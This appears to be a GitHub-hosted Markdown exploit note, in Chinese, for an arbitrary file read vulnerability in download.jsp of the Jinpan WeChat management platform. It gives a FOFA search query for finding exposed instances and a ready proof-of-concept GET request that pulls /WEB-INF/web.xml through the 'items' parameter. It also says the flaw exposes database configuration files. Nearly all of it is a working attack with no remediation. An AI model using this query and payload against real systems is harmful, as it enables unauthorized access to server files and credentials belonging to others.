Skip to content

Latest commit

 

History

History
18 lines (12 loc) · 451 Bytes

金盘微信管理平台download.jsp任意文件读取漏洞.md

File metadata and controls

18 lines (12 loc) · 451 Bytes

金盘微信管理平台download.jsp任意文件读取漏洞

金盘微信管理平台download.jsp任意文件读取漏洞,通过该漏洞读取数据库配置文件等

fofa

title=="微信管理后台"

poc

GET /mobile/pages/admin/tools/file/download.jsp?items=/WEB-INF/web.xml HTTP/1.1
Host: 

image-20241021172734743